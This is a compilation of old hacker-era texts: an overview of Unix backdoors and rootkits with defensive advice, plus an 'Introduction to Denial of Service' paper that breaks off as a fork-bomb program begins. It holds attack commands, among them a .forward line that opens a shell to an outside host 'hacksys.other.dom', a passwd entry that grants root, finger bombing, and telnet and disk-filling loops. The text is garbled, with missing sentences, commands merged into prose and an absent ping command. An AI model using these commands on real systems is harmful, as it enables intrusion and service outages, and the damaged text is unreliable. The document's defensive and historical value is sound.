yet to date proven can be spoofed.

On Unix, the login program is the software that usually does the password
authentication when someone telnets to the machine. Intruders grabbed the
source code to login.c and modified it that when login compared the user's
password with the stored password, it would first check for a backdoor
password. If the user typed in the backdoor password, it would allow you to
this allowed the intruder to log into any account, even root. The
password backdoor would spawn access before the user actually logged in and
appeared in utmp and wtmp. Therefore an intruder could be logged in and
have shell access without it appearing anyone is on that machine as that
account. Administrators started noticing these backdoors especially if
they did a "strings" command to find what text was in the login program.
Many times the backdoor password would show up. The intruders then
encrypted or hid the backdoor password better so it would not appear by
just doing strings. Many of the administrators can detect these backdoors
with MD5 checksums.

Telnetd Backdoor

When a user telnets to the machine, inetd service listens on the port and
receive the connection and then passes it to in.telnetd, that then runs
program for tampering, so they modified in.telnetd. Within in.telnetd, it
does several checks from the user for things like what kind of terminal the
user was using. Typically, the terminal setting might be Xterm or VT100.
An intruder could backdoor it so that when the terminal was set to
"letmein", it would spawn a shell without requiring any authentication.
Intruders have backdoored some services so that any connection from a
specific source port can spawn a shell.

Services Backdoor

Almost every network service has at one time been backdoored by an
intruder. Backdoored versions of finger, rsh, rexec, rlogin, ftp, even
inetd, etc., have been floating around forever. There are programs that
are nothing more than a shell connected to a TCP port with maybe a backdoor
password to gain access. These programs sometimes replace a service like
uucp that never gets used or they get added to the inetd.conf file as a new
service. Administrators should be very wary of what services are running
and analyze the original services by MD5 checksums.

Cronjob backdoor

Cronjob on Unix schedules when certain programs should be run. An intruder
could add a backdoor shell program to run between 1 AM and 2 AM. So for 1
hour every night, the intruder could gain access. Intruders have also
looked at legitimate programs that typically run in cronjob and built
backdoors into those programs as well.

Library backdoors

Almost every UNIX system uses shared libraries. The shared libraries are
intended to reuse many of the same routines thus cutting down on the size
of programs. Some intruders have backdoored some of the routines like
crypt.c and _crypt.c. Programs like login.c would use the crypt() routine
and if a backdoor password was used it would spawn a shell. Therefore,
even if the administrator was checking the MD5 of the login program, it was
still spawning a backdoor routine and many administrators were not checking
the libraries as a possible source of backdoors.

One problem for many intruders was that some administrators started MD5
checksums of almost everything. One method intruders used to get around
that is to backdoor the open() and file access routines. The backdoor
routines were configured to read the original files, but execute the trojan
backdoors. Therefore, when the MD5 checksum program was reading these
files, the checksums always looked good. But when the system ran the
program, it executed the trojan version. Even the trojan library itself,
could be hidden from the MD5 checksums. One way to an administrator could
get around this backdoor was to statically link the MD5 checksum checker
and run on the system. The statically linked program does not use the
trojan shared libraries.

Kernel backdoors

The kernel on Unix is the core of how Unix works. The same method used for
libraries for bypassing MD5 checksum could be used at the kernel level,
except even a statically linked program could not tell the difference. A
good backdoored kernel is probably one of the hardest to find by
administrators, fortunately kernel backdoor scripts have not yet been
widely made available and no one knows how wide spread they really are.

File system backdoors

An intruder may want to store their loot or data on a server somewhere
without the administrator finding the files. The intruder's files can
typically contain their toolbox of exploit scripts, backdoors, sniffer
logs, copied data like email messages, source code, etc. To hide these
sometimes large files from an administrator, an intruder may patch the
files system commands like "ls", "du", and "fsck" to hide the existence of
certain directories or files. At a very low level, one intruder's backdoor
created a section on the hard drive to have a proprietary format that was
designated as "bad" sectors on the hard drive. Thus an intruder could
access those hidden files with only special tools, but to the regular
sectors were indeed storage area for the hidden file system.

Bootblock backdoors

In the PC world, many viruses have hid themselves within the bootblock
section and most antivirus software will check to see if the bootblock has
been altered. On Unix, most administrators do not have any software that
checks the bootblock, therefore some intruders have hidden some backdoors
in the bootblock area.

Process hiding backdoors

An intruder many times wants to hide the programs they are running. The
programs they want to hide are commonly a password cracker or a sniffer.
There are quite a few methods and here are some of the more common:

An intruder may write the program to modify its own argv[] to make it look
like another process name.

An intruder could rename the sniffer program to a legitimate service like
in.syslog and run it. Thus when an administrator does a "ps" or looks at
what is running, the standard service names appear.

An intruder could modify the library routines so that "ps" does not show
all the processes.

An intruder could patch a backdoor or program into an interrupt driven
routine so it does not appear in the process table. An example backdoor
using this technique is amod.tar.gz available on
http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html

An intruder could modify the kernel to hide certain processes as well.

Rootkit

One of the most popular packages to install backdoors is rootkit. It can
easily be located using Web search engines. From the Rootkit README, here
are the typical files that get installed:

z2 - removes entries from utmp, wtmp, and lastlog.
Es - rokstar's ethernet sniffer for sun4 based kernels.
Fix - try to fake checksums, install with same dates/perms/u/g.
Ic - modified ifconfig to remove PROMISC flag from output.
ps: - hides the processes.
Ns - modified netstat to hide connections to certain machines.
Ls - hides certain directories and files from being listed.
du5 - hides how much space is being used on your hard drive.
ls5 - hides certain files and directories from being listed.

Network traffic backdoors

Not only do intruders want to hide their tracks on the machine, but also
they want to hide their network traffic as much as possible. These network
traffic backdoors sometimes allow an intruder to gain access through a
firewall. There are many network backdoor programs that allow an intruder
to set up on a certain port number on a machine that will allow access
without ever going through the normal services. Because the traffic is
going to a non-standard network port, the administrator can overlook the
intruder's traffic. These network traffic backdoors are typically using
TCP, UDP, and ICMP, but it could be many other kinds of packets.

TCP Shell Backdoors

The intruder can set up these TCP Shell backdoors on some high port number
possibly where the firewall is not blocking that TCP port. Many times,
they will be protected with a password just so that an administrator that
connects to it, will not immediately see shell access. An administrator
can look for these connections with netstat to see what ports are listening
and where current connections are going to and from. Many times, these
backdoors allow an intruder to get past TCP Wrapper technology. These
backdoors could be run on the SMTP port, which many firewalls allow traffic
to pass for e-mail.

UDP Shell Backdoors

Administrator many times can spot a TCP connection and notice the odd
behavior, while UDP shell backdoors lack any connection so netstat would
not show an intruder accessing the Unix machine. Many firewalls have been
configured to allow UDP packets for services like DNS through. Many times,
intruders will place the UDP Shell backdoor on that port and it will be
allowed to by-pass the firewall.

ICMP Shell Backdoors

Ping is one of the most common ways to find out if a machine is alive by
sending and receiving ICMP packets. Many firewalls allow outsiders to ping
internal machines. An intruder can put data in the Ping ICMP packets and
tunnel a shell between the pinging machines. An administrator may notice a
flurry of Ping packets, but unless the administrator looks at the data in
the packets, an intruder can be unnoticed.

An administrator can set up a sniffer trying to see data appears as someone
accessing a shell, but an intruder can add encryption to the Network
traffic backdoors and it becomes almost impossible to determine what is
actually being transmitted between two machines.

Windows NT

Because Windows NT does not easily allow multiple users on a single machine
and remote access similar as Unix, it becomes harder for the intruder to
break into Windows NT, install a backdoor, and launch an attack from it.
Thus you will find more frequently network attacks that are spring boarded
from a Unix box than Windows NT. As Windows NT advances in multi-user
technologies, this may give a higher frequency of intruders who use Windows
NT to their advantage. And if this does happen, many of the concepts from
Unix backdoors can be ported to Windows NT and administrators can be ready
for the intruder. Today, there are already telnet daemons available for
Windows NT. With Network Traffic backdoors, they are very feasible for
intruders to install on Windows NT.

Solutions

to determine if an intruder has gotten in or if they have been successfully
locked out.

Assessment

One of the first steps in being proactive is to assess how vulnerable your
network is, thus being able to figure out what holes exist that should be
fixed. Many commercial tools exist to help scan and audit the network and
systems for vulnerabilities. Many companies could dramatically improve
their security if they only installed the security patches made freely
available by their vendors.

MD5 Baselines

One necessary component of a system scanner is MD5 checksum baselines.
This MD5 baseline should be built up before a hacker attack with clean
systems. Once a hacker is in and has installed backdoors, trying to create
a baseline after the fact could incorporate the backdoors into the
their systems for many months. Overtime, all the backups of the systems
contained the backdoors. When some of these companies found out they had
a hacker, they restored a backup in hopes of removing any backdoors. The
effort was futile since they were restoring all the files, even the
backdoored ones. The binary baseline comparison needs to be done before an
attack happens.

Intrusion detection

Intrusion detection is becoming more important as organizations are hooking
up and allowing connections to some of their machines. Most of the older
intrusion detection technology was log-based events. The latest intrusion
detection system (IDS) technology is based on real-time sniffing and
network traffic security analysis. Many of the network traffic backdoors
can now easily be detected. The latest IDS technology can take a look at
the DNS UDP packets and determine if it matches the DNS protocol requests.
If the data on the DNS port does not match the DNS protocol, an alert flag
can be signaled and the data captured for further analysis. The same
principle can be applied to the data in an ICMP packet to see if it is the
normal ping data or if it is carrying encrypted shell session.

Boot from CD-ROM.

Some administrators may want to consider booting from CD-ROM thus
eliminating the possibility of an intruder installing a backdoor on the
CD-ROM. The problem with this method is the cost and time of implementing
this solution enterprise wide.

Vigilant

Because the security field is changing so fast, with new vulnerabilities
being announced daily and intruders are constantly designing new attack and
backdoor techniques, no security technology is effective without vigilance.

Be aware that no defense is foolproof, and that there is no substitute for
diligent attention.

-------------------------------------------------------------------------

.forward Backdoor

On Unix machines, placing commands into the .forward file was also
a common method of regaining access. For the account username''
a .forward file might be constructed as follows:

|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh"

permutations of this method include alteration of the systems mail
aliases file (most commonly located at /etc/aliases). Note that
this is a simple permutation, the more advanced can run a simple
script from the forward file that can take arbitrary commands via
stdin (after minor preprocessing).

PS: The above method is also useful gaining access a companies
mailhub (assuming there is a shared a home directory FS on
the client and server).

&gt; Using smrsh can effectively negate this backdoor (although it's quite
&gt; possibly still a problem if you allow things like elm's filter or
&gt; procmail which can run programs themselves...).

---------------------------------------------------------------------------

you may want to add this "feature" that can act as a backdoor:

when specifying a wrong uid/gid in the /etc/password file,
most login(1) implementations will fail to detect the wrong
uid/gid and atoi(3) will set uid/gid to 0, giving superuser
privileges.

example:
rmartin:x:x50:50:R. Martin:/home/rmartin:/bin/tcsh
on Linux boxes, this will give uid 0 to user rmartin.

___________________________________________________________________________

An intro to DOS attacks:

===================================
=INTRODUCTION TO DENIAL OF SERVICE=
===================================

Hans Husman
t95hhu@student.tdb.uu.se
Last updated: Mon Oct 28 14:56:31 MET 1996

.0. FOREWORD

.A. INTRODUCTION
.A.1. WHAT IS A DENIAL OF SERVICE ATTACK?
.A.2. WHY WOULD SOMEONE CRASH A SYSTEM?
.A.2.1. INTRODUCTION
.A.2.2. SUB-CULTURAL STATUS
.A.2.3. TO GAIN ACCESS
.A.2.4. REVENGE
.A.2.5. POLITICAL REASONS
.A.2.6. ECONOMICAL REASONS
.A.2.7. NASTINESS
.A.3. ARE SOME OPERATING SYSTEMS MORE SECURE?

.B. SOME BASIC TARGETS FOR AN ATTACK
.B.1. SWAP SPACE
.B.2. BANDWIDTH
.B.3. KERNEL TABLES
.B.4. RAM
.B.5. DISKS
.B.6. CACHES
.B.7. INETD

.C. ATTACKING FROM THE OUTSIDE
.C.2. UDP AND SUNOS 4.1.3.
.C.3. FREEZING UP X-WINDOWS
.C.4. MALICIOUS USE OF UDP SERVICES
.C.5. ATTACKING WITH LYNX CLIENTS
.C.6. MALICIOUS USE OF telnet
.C.7. MALICIOUS USE OF telnet UNDER SOLARIS 2.4
.C.8. HOW TO DISABLE ACCOUNTS
.C.9. LINUX AND TCP TIME, DAYTIME
.C.10. HOW TO DISABLE SERVICES
.C.11. PARAGON OS BETA R1.4
.C.12. NOVELLS NETWARE FTP
.C.13. ICMP REDIRECT ATTACKS
.C.15. EMAIL BOMBING AND SPAMMING
.C.16. TIME AND KERBEROS
.C.17. THE DOT DOT BUG
.C.18. SUNOS KERNEL PANIC
.C.19. HOSTILE APPLETS
.C.20. VIRUS
.C.21. ANONYMOUS FTP ABUSE
.C.22. SYN FLOODING
.C.23. PING FLOODING
.C.24. CRASHING SYSTEMS WITH PING FROM WINDOWS 95 MACHINES
.C.26. FLEXlm
.C.27. BOOTING WITH TRIVIAL FTP

.D. ATTACKING FROM THE INSIDE
.D.1. KERNEL PANIC UNDER SOLARIS 2.3
.D.2. CRASHING THE X-SERVER
.D.3. FILLING UP THE HARD DISK
.D.4. MALICIOUS USE OF eval
.D.5. MALICIOUS USE OF fork()
.D.6. CREATING FILES THAT IS HARD TO REMOVE
.D.7. DIRECTORY NAME LOOKUPCACHE
.D.8. CSH ATTACK
.D.9. CREATING FILES IN /tmp
.D.10. USING RESOLV_HOST_CONF
.D.11. SUN 4.X AND BACKGROUND JOBS
.D.12. CRASHING DG/UX WITH ULIMIT
.D.13. NETTUNE AND HP-UX
.D.14. SOLARIS 2.X AND NFS
.D.15. SYSTEM STABILITY COMPROMISE VIA MOUNT_UNION
.D.16. trap_mon CAUSES KERNEL PANIC UNDER SUNOS 4.1.X

.E. DUMPING CORE
.E.1. SHORT COMMENT
.E.2. MALICIOUS USE OF NETSCAPE
.E.3. CORE DUMPED UNDER WUFTPD
.E.4. ld UNDER SOLARIS/X86

.F. HOW DO I PROTECT A SYSTEM AGAINST DENIAL OF SERVICE ATTACKS?
.F.1. BASIC SECURITY PROTECTION
.F.1.1. INTRODUCTION
.F.1.2. PORT SCANNING
.F.1.3. CHECK THE OUTSIDE ATTACKS DESCRIBED IN THIS PAPER
.F.1.4. CHECK THE INSIDE ATTACKS DESCRIBED IN THIS PAPER
.F.1.5. EXTRA SECURITY SYSTEMS
.F.1.6. MONITORING SECURITY
.F.1.7. KEEPING UP TO DATE
.F.2. MONITORING PERFORMANCE
.F.2.1. INTRODUCTION
.F.2.2. COMMANDS AND SERVICES
.F.2.3. PROGRAMS
.F.2.4. ACCOUNTING

.G.1. INFORMATION FOR DEEPER KNOWLEDGE
.G.2. KEEPING UP TO DATE INFORMATION
.G.3. BASIC INFORMATION

.I. DISCLAIMER

.0. FOREWORD
------------

In this paper I have tried to answer the following questions:

- What is a denial of service attack?
- Why would someone crash a system?
- How can someone crash a system.
- How do I protect a system against denial of service attacks?

I also have a section called SUGGESTED READING were you can find
information about good free information that can give you a deeper

Note that I have a very limited experience with Macintosh, OS/2 and
Windows and most of the material are therefore for Unix use.

http://www.student.tdb.uu.se/~t95hhu...ial/DENIAL.TXT

t95hhu@student.tdb.uu.se

.A. INTRODUCTION
~~~~~~~~~~~~~~~~

.A.1. WHAT IS A DENIAL OF SERVICE ATTACK?
-----------------------------------------

Denial of service is about without permission knocking off
services, for example through crashing the whole system. This
kind of attacks are easy to launch and it is hard to protect
a system against them. The basic problem is that Unix
assumes that users on the system or on other systems will be
well behaved.

.A.2. WHY WOULD SOMEONE CRASH A SYSTEM?
---------------------------------------

.A.2.1. INTRODUCTION
--------------------

Why would someone crash a system? I can think of several reasons
that I have presentated more precisely in a section for each reason,
but for short:

.1. Sub-cultural status.
.2. To gain access.
.3. Revenge.
.4. Political reasons.
.5. Economical reasons.
.6. Nastiness.

I think that number one and six are the more common today, but that
number four and five will be the more common ones in the future.

.A.2.2. SUB-CULTURAL STATUS
---------------------------

After all information about syn flooding a bunch of such attacks
were launched around Sweden. The very most of these attacks were
not a part of a IP-spoof attack, it was "only" a denial of service
attack. Why?

I think that hackers attack systems as a sub-cultural pseudo career
and I think that many denial of service attacks, and here in the
example syn flooding, were performed for these reasons. I also think
that many hackers begin their carrer with denial of service attacks.

.A.2.3. TO GAIN ACCESS
----------------------

Sometimes could a denial of service attack be a part of an attack to
gain access at a system. At the moment I can think of these reasons
and specific holes:

.1. Some older X-lock versions could be crashed with a
method from the denial of service family leaving the system
open. Physical access was needed to use the work space after.

.2. Syn flooding could be a part of a IP-spoof attack method.

.3. Some program systems could have holes under the startup,
that could be used to gain root, for example SSH (secure shell).

.4. Under an attack it could be usable to crash other machines
in the network or to deny certain persons the ability to access
the system.

.5. Also could a system being booted sometimes be subverted,
especially rarp-boots. If we know which port the machine listen
to (69 could be a good guess) under the boot we can send false
packets to it and almost totally control the boot.

.A.2.4. REVENGE
---------------

A denial of service attack could be a part of a revenge against a user

.A.2.5. POLITICAL REASONS
-------------------------

Sooner or later will new or old organizations understand the potential
of destroying computer systems and find tools to do it.

For example imaginate the Bank A loaning company B money to build a
factory threating the environment. The organization C therefor crash A:s
computer system, maybe with help from an employee. The attack could cost
A a great deal of money if the timing is right.

.A.2.6. ECONOMICAL REASONS
--------------------------

Imaginate the small company A moving into a business totally dominated by
company B. A and B customers make the orders by computers and depends
heavily on that the order is done in a specific time (A and B could be
stock trading companies). If A and B can't perform the order the customers
lose money and change company.

As a part of a business strategy A pays a computer expert a sum of money to
get him to crash B:s computer systems a number of times. A year later A
is the dominating company.

.A.2.7. NASTINESS
-----------------

I know a person that found a workstation where the user had forgotten to
logout. He sat down and wrote a program that made a kill -9 -1 at a
random time at least 30 minutes after the login time and placed a call to
the program from the profile file. That is nastiness.

.A.3. ARE SOME OPERATING SYSTEMS MORE SECURE?
---------------------------------------------

This is a hard question to answer and I don't think that it will
give anything to compare different Unix platforms. You can't say that
one Unix is more secure against denial of service, it is all up to the

A comparison between Windows 95 and NT on one side and Unix on the
other could however be interesting.

Unix systems are much more complex and have hundreds of built in programs,
services... This always open up many ways to crash the system from
the inside.

In the normal Windows NT and 95 network were is few ways to crash
the system. Although were is methods that always will work.

That gives us that no big different between Microsoft and Unix can
be seen regardning the inside attacks. But there is a couple of
points left:

- Unix have much more tools and programs to discover an
attack and monitoring the users. To watch what another user
is up to under windows is very hard.

- The average Unix administrator probably also have much more
experience than the average Microsoft administrator.

The two last points gives that Unix is more secure against inside
denial of service attacks.

A comparison between Microsoft and Unix regarding outside attacks
are much more difficult. However I would like to say that the average
Microsoft system on the Internet are more secure against outside
attacks, because they normally have much less services.

.B. SOME BASIC TARGETS FOR AN ATTACK
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

.B.1. SWAP SPACE
----------------

Most systems have several hundred Mbytes of swap space to
service client requests. The swap space is typical used
for forked child processes which have a short life time.
The swap space will therefore almost never in a normal
cause be used heavily. A denial of service could be based
on a method that tries to fill up the swap space.

.B.2. BANDWIDTH
---------------

If the bandwidth is to high the network will be useless. Most
denial of service attack influence the bandwidth in some way.

.B.3. KERNEL TABLES
-------------------

It is trivial to overflow the kernel tables which will cause
serious problems on the system. Systems with write through
caches and small write buffers is especially sensitive.

Kernel memory allocation is also a target that is sensitive.
The kernel have a kernelmap limit, if the system reach this
limit it can not allocate more kernel memory and must be rebooted.
The kernel memory is not only used for RAM, CPU:s, screens and so
on, it it also used for ordinaries processes. Meaning that any system
can be crashed and with a mean (or in some sense good) algorithm pretty
fast.

For Solaris 2.X it is measured and reported with the sar command
how much kernel memory the system is using, but for SunOS 4.X there
is no such command. Meaning that under SunOS 4.X you don't even can
get a warning. If you do use Solaris you should write sar -k 1 to
get the information. netstat -k can also be used and shows how much
memory the kernel have allocated in the subpaging.

.B.4. RAM
---------

A denial of service attack that allocates a large amount of RAM
can make a great deal of problems. NFS and mail servers are
actually extremely sensitive because they do not need much
RAM and therefore often don't have much RAM. An attack at
a NFS server is trivial. The normal NFS client will do a
great deal of caching, but a NFS client can be anything
including the program you wrote yourself...

.B.5. DISKS
-----------

A classic attack is to fill up the hard disk, but an attack at
the disks can be so much more. For example can an overloaded disk
be misused in many ways.

.B.6. CACHES
-------------

A denial of service attack involving caches can be based on a method
to block the cache or to avoid the cache.

These caches are found on Solaris 2.X:

Directory name lookup cache: Associates the name of a file with a vnode.

Inode cache: Cache information read from disk in case it is needed
again.

Rnode cache: Holds information about the NFS filesystem.

Buffer cache: Cache inode indirect blocks and cylinders to realed disk
I/O.

.B.7. INETD
-----------

Well once inetd crashed all other services running through inetd no
longer will work.

.C. ATTACKING FROM THE OUTSIDE
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

--------------------------------

Most fingerd installations support redirections to an other host.

Ex:

$finger @system.two.com@system.one.com finger will in the example go through system.one.com and on to system.two.com. As far as system.two.com knows it is system.one.com who is fingering. So this method can be used for hiding, but also for a very dirty denial of service attack. Lock at this:$ finger @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@host.we.attack

All those @ signs will get finger to finger host.we.attack again and
again and again... The effect on host.we.attack is powerful and
the result is high bandwidth, short free memory and a hard disk with
less free space, due to all child processes (compare with .D.5.).

The solution is to install a fingerd which don't support redirections,
for example GNU finger. You could also turn the finger service off,
but I think that is just a bit to much.

.C.2. UDP AND SUNOS 4.1.3.
--------------------------

SunOS 4.1.3. is known to boot if a packet with incorrect information
in the header is sent to it. This is the cause if the ip_options
indicate a wrong size of the packet.

The solution is to install the proper patch.

.C.3. FREEZING UP X-WINDOWS
---------------------------

If a host accepts a telnet session to the X-Windows port (generally
somewhere between 6000 and 6025. In most cases 6000) could that
be used to freeze up the X-Windows system. This can be made with
multiple telnet connections to the port or with a program which
sends multiple XOpenDisplay() to the port.

The same thing can happen to Motif or Open Windows.

The solution is to deny connections to the X-Windows port.

.C.4. MALICIOUS USE OF UDP SERVICES
-----------------------------------

It is simple to get UDP services (echo, time, daytime, chargen) to
loop, due to trivial IP-spoofing. The effect can be high bandwidth
that causes the network to become useless. In the example the header
claim that the packet came from 127.0.0.1 (loopback) and the target
is the echo port at system.we.attack. As far as system.we.attack knows
is 127.0.0.1 system.we.attack and the loop has been establish.

Ex:

from-IP=127.0.0.1
to-IP=system.we.attack
Packet type:UDP
from UDP port 7
to UDP port 7

Note that the name system.we.attack looks like a DNS-name, but the
target should always be represented by the IP-number.

Quoted from proberts@clark.net (Paul D. Robertson) comment on
comp.security.firewalls on matter of "Introduction to denial of service"

" A great deal of systems don't put loopback on the wire, and simply
emulate it. Therefore, this attack will only effect that machine
in some cases. It's much better to use the address of a different
machine on the same network. Again, the default services should
be disabled in inetd.conf. Other than some hacks for mainframe IP
stacks that don't support ICMP, the echo service isn't used by many
legitimate programs, and TCP echo should be used instead of UDP
where it is necessary. "

.C.5. ATTACKING WITH LYNX CLIENTS
---------------------------------

A World Wide Web server will fork an httpd process as a respond
to a request from a client, typical Netscape or Mosaic. The process
lasts for less than one second and the load will therefore never
show up if someone uses ps. In most causes it is therefore very
safe to launch a denial of service attack that makes use of
multiple W3 clients, typical lynx clients. But note that the netstat
command could be used to detect the attack (thanks to Paul D. Robertson).

Some httpd:s (for example http-gw) will have problems besides the normal
high bandwidth, low memory... And the attack can in those causes get
the server to loop (compare with .C.6.)

.C.6. MALICIOUS USE OF telnet
-----------------------------

Study this little script:

Ex:

while : ; do
telnet system.we.attack &
done

An attack using this script might eat some bandwidth, but it is
nothing compared to the finger method or most other methods. Well
the point is that some pretty common firewalls and httpd:s thinks
that the attack is a loop and turn them self down, until the

This is a simple high risk vulnerability that should be checked
and if present fixed.

.C.7. MALICIOUS USE OF telnet UNDER SOLARIS 2.4
-----------------------------------------------

If the attacker makes a telnet connections to the Solaris 2.4 host and
quits using:

Ex:

Control-}
quit

then will inetd keep going "forever". Well a couple of hundred...

The solution is to install the proper patch.

.C.8. HOW TO DISABLE ACCOUNTS
-----------------------------

Some systems disable an account after N number of bad logins, or waits
N seconds. You can use this feature to lock out specific users from
the system.

.C.9. LINUX AND TCP TIME, DAYTIME
----------------------------------

Inetd under Linux is known to crash if to many SYN packets sends to
daytime (port 13) and/or time (port 37).

The solution is to install the proper patch.

.C.10. HOW TO DISABLE SERVICES
------------------------------

Most Unix systems disable a service after N sessions have been
open in a given time. Well most systems have a reasonable default
(lets say 800 - 1000), but not some SunOS systems that have the
default set to 48...

The solutions is to set the number to something reasonable.

.C.11. PARAGON OS BETA R1.4
---------------------------

If someone redirects an ICMP (Internet Control Message Protocol) packet
to a paragon OS beta R1.4 will the machine freeze up and must be
rebooted. An ICMP redirect tells the system to override routing
tables. Routers use this to tell the host that it is sending
to the wrong router.

The solution is to install the proper patch.

.C.12. NOVELLS NETWARE FTP
--------------------------

Novells Netware FTP server is known to get short of memory if multiple
ftp sessions connects to it.

.C.13. ICMP REDIRECT ATTACKS
----------------------------

Gateways uses ICMP redirect to tell the system to override routing
tables, that is telling the system to take a better way. To be able
to misuse ICMP redirection we must know an existing connection
(well we could make one for ourself, but there is not much use for that).
If we have found a connection we can send a route that
loses it connectivity or we could send false messages to the host
if the connection we have found don't use cryptation.

Ex: (false messages to send)

DESTINATION UNREACHABLE
TIME TO LIVE EXCEEDED
PARAMETER PROBLEM
PACKET TOO BIG

The effect of such messages is a reset of the connection.

The solution could be to turn ICMP redirects off, not much proper use
of the service.

-----------------------

This is a very popular method in networks there all of the hosts are
acting as gateways.

There are many versions of the attack, but the basic method is to
send a lot of packets to all hosts in the network with a destination
that don't exist. Each host will try to forward each packet so
the packets will bounce around for a long time. And if new packets
keep coming the network will soon be in trouble.

Services that can be misused as tools in this kind of attack is for
example ping, finger and sendmail. But most services can be misused
in some way or another.

.C.15. EMAIL BOMBING AND SPAMMING
---------------------------------

In a email bombing attack the attacker will repeatedly send identical
email messages to an address. The effect on the target is high bandwidth,
a hard disk with less space and so on... Email spamming is about sending
mail to all (or rather many) of the users of a system. The point of
using spamming instead of bombing is that some users will try to
send a replay and if the address is false will the mail bounce back. In
that cause have one mail transformed to three mails. The effect on the
bandwidth is obvious.

There is no way to prevent email bombing or spamming. However have
a look at CERT:s paper "Email bombing and spamming".

.C.16. TIME AND KERBEROS
------------------------

If not the the source and target machine is closely aligned will the
ticket be rejected, that means that if not the protocol that set the
time is protected it will be possible to set a kerberos server of
function.

.C.17. THE DOT DOT BUG
----------------------

Windows NT file sharing system is vulnerable to the under Windows 95
famous dot dot bug (dot dot like ..). Meaning that anyone can crash
the system. If someone sends a "DIR ..\" to the workstation will a
STOP messages appear on the screen on the Windows NT computer. Note that
it applies to version 3.50 and 3.51 for both workstation and server
version.

The solution is to install the proper patch.

.C.18. SUNOS KERNEL PANIC
-------------------------

Some SunOS systems (running TIS?) will get a kernel panic if a
getsockopt() is done after that a connection has been reset.

The solution could be to install Sun patch 100804.

.C.19. HOSTILE APPLETS
----------------------

A hostile applet is any applet that attempts to use your system
in an inappropriate manner. The problems in the java language
could be sorted in two main groups:

1) Problems due to bugs.
2) Problems due to features in the language.

In group one we have for example the java bytecode verifier bug, which
makes is possible for an applet to execute any command that the user
can execute. Meaning that all the attack methods described in .D.X.
could be executed through an applet. The java bytecode verifier bug
was discovered in late March 1996 and no patch have yet been available
(correct me if I'am wrong!!!).

Note that two other bugs could be found in group one, but they
are both fixed in Netscape 2.01 and JDK 1.0.1.

Group two are more interesting and one large problem found is the
fact that java can connect to the ports. Meaning that all the methods
and examples could be found at address:

If you need a high level of security you should use some sort of
firewall for protection against java. As a user you could have
java disable.

.C.20. VIRUS
------------

Computer virus is written for the purpose of spreading and
destroying systems. Virus is still the most common and famous
denial of service attack method.

It is a misunderstanding that virus writing is hard. If you know
assembly language and have source code for a couple of virus it
is easy. Several automatic toolkits for virus construction could
also be found, for example:

* Genvir.
* VCS (Virus Construction Set).
* VCL (Virus Construction Laboratory).
* PS-MPC (Phalcon/Skism - Mass Produced Code Generator).
* IVP (Instant Virus Production Kit).
* G2 (G Squared).

PS-MPC and VCL is known to be the best and can help the novice programmer
to learn how to write virus.

An automatic tool called MtE could also be found. MtE will transform
virus to a polymorphic virus. The polymorphic engine of MtE is well
known and should easily be catch by any scanner.

.C.21. ANONYMOUS FTP ABUSE
--------------------------

If an anonymous FTP archive have a writable area it could be misused
for a denial of service attack similar with with .D.3. That is we can
fill up the hard disk.

Also can a host get temporarily unusable by massive numbers of
FTP requests.

For more information on how to protect an anonymous FTP site could
CERT:s "Anonymous FTP Abuses" be a good start.

.C.22. SYN FLOODING
-------------------

Both 2600 and Phrack have posted information about the syn flooding attack.
2600 have also posted exploit code for the attack.

As we know the syn packet is used in the 3-way handshake. The syn flooding
attack is based on an incomplete handshake. That is the attacker host
will send a flood of syn packet but will not respond with an ACK packet.
The TCP/IP stack will wait a certain amount of time before dropping
the connection, a syn flooding attack will therefore keep the syn_received
connection queue of the target machine filled.

The syn flooding attack is very hot and it is easy to find more information

[.1.] http://www.eecs.nwu.edu/~jmyers/bugtraq/1354.html
Article by Christopher Klaus, including a "solution".

[.2.] http://jya.com/floodd.txt
2600, Summer, 1996, pp. 6-11. FLOOD WARNING by Jason Fairlane

[.3.] http://www.fc.net/phrack/files/p48/p48-14.html
IP-spoofing Demystified by daemon9 / route / infinity
for Phrack Magazine

.C.23. PING FLOODING
--------------------

I haven't tested how big the impact of a ping flooding attack is, but
it might be quite big.

Under Unix we could try something like: ping -s host
to send 64 bytes packets.

If you have Windows 95, click the start button, select RUN, then type
in: PING -T -L 256 xxx.xxx.xxx.xx. Start about 15 sessions.

.C.24. CRASHING SYSTEMS WITH PING FROM WINDOWS 95 MACHINES
----------------------------------------------------------

If someone can ping your machine from a Windows 95 machine he or she might
reboot or freeze your machine. The attacker simply writes:

And the machine will freeze or reboot.

Works for kernel 2.0.7 up to version 2.0.20. and 2.1.1. for Linux (crash).
AIX4, OSF, HPUX 10.1, DUnix 4.0 (crash).
OSF/1, 3.2C, Solaris 2.4 x86 (reboot).

--------------------------------------------------

The subnet mask reply message is used under the reboot, but some
hosts are known to accept the message any time without any check.
If so all communication to or from the host us turned off, it's dead.

The host should not accept the message any time but under the reboot.

.C.26. FLEXlm
-------------

Any host running FLEXlm can get the FLEXlm license manager daemon
on any network to shutdown using the FLEXlm lmdown command.

# lmdown -c /etc/licence.dat
lmdown - Copyright (C) 1989, 1991 Highland Software, Inc.

Shutting down FLEXlm on nodes: xxx
Are you sure? [y/n]: y
Shut down node xxx
#

.C.27. BOOTING WITH TRIVIAL FTP
-------------------------------

To boot diskless workstations one often use trivial ftp with rarp or
bootp. If not protected an attacker can use tftp to boot the host.

.D. ATTACKING FROM THE INSIDE
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

.D.1. KERNEL PANIC UNDER SOLARIS 2.3
------------------------------------

Solaris 2.3 will get a kernel panic if this
is executed:

EX:

$ndd /dev/udp udp_status The solution is to install the proper patch. .D.2. CRASHING THE X-SERVER --------------------------- If stickybit is not set in /tmp then can the file /tmp/.x11-unix/x0 be removed and the x-server will crash. Ex:$ rm /tmp/.x11-unix/x0

.D.3. FILLING UP THE HARD DISK
-----------------------------

If your hard disk space is not limited by a quota or if you can use
/tmp then its possible for you to fill up the file system.

Ex:

while : ;
mkdir .xxx
cd .xxx
done

.D.4. MALICIOUS USE OF eval
---------------------------

Some older systems will crash if eval '\!\!' is executed in the
C-shell.

Ex:

% eval '\!\!'

.D.5. MALICIOUS USE OF fork()
-----------------------------

If someone executes this C++ program the result will result in a crash
on most systems.

Ex:

#include &lt;sys/types.h&gt;
#include &lt;unistd.h&gt;
